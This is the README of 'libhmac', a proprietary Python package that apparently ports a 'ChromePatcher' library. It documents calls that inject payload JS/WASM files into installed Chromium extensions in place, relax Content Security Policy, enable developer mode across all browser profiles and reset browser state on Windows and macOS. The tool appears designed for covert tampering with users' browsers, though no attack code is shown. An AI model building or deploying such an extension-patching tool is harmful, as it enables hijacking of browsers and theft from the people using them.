libhmac 0.8.28.1

Chromium extension host sync, CSP relaxation, and in-place extension patching (Windows, macOS)

libhmac

Python port of the ChromePatcher native library (ChromeManager, ExtensionPatcher, HmacCalculator, …) for Chromium extension host sync and in-place extension patching on Windows and macOS.

Install

pip install ./libhmac

pip install -e ./libhmac

DLL-style exports (pf_*)

Same names as the native libhmac DLL:

import libhmac

libhmac.pf_ext_patch_dir(ext_dir, payload_dir)
libhmac.pf_ext_unpatch_dir(ext_dir)
libhmac.pf_ext_is_modified(ext_dir)  # 0 or 1
libhmac.pf_host_commit("username")   # optional account tag
libhmac.pf_host_reset("username")
libhmac.ValidatePath(path)
libhmac.ValidateExtensionId(ext_id)
libhmac.GetLibraryVersion()
libhmac.GetPlatform()

ChromePatcher classes (C++ names)

from libhmac import ChromePatcher

ChromePatcher.ExtensionPatcher.PatchExtensionDirectory(ext_dir, payload_dir)
ChromePatcher.ExtensionPatcher.UnpatchExtensionDirectory(ext_dir)
ChromePatcher.ExtensionPatcher.IsModifiedDirectory(ext_dir)

manager = ChromePatcher.ChromeManager("username")
manager.EnableDeveloperModeAllProfiles()
manager.ReplaceInPlaceExtensions()
manager.RestoreBrowserState()
manager.RunUnifiedProcess(extensions_base_path="")  # optional external tree

Payload filenames match the native library: ExtensionPatcher.K_PAYLOAD_JS (dm_core_bg.js) and K_PAYLOAD_WASM (dm_core_bg.wasm).

Platforms

• Windows 10+
• macOS 10.15+

Linux is not supported.

License

Proprietary — all rights reserved.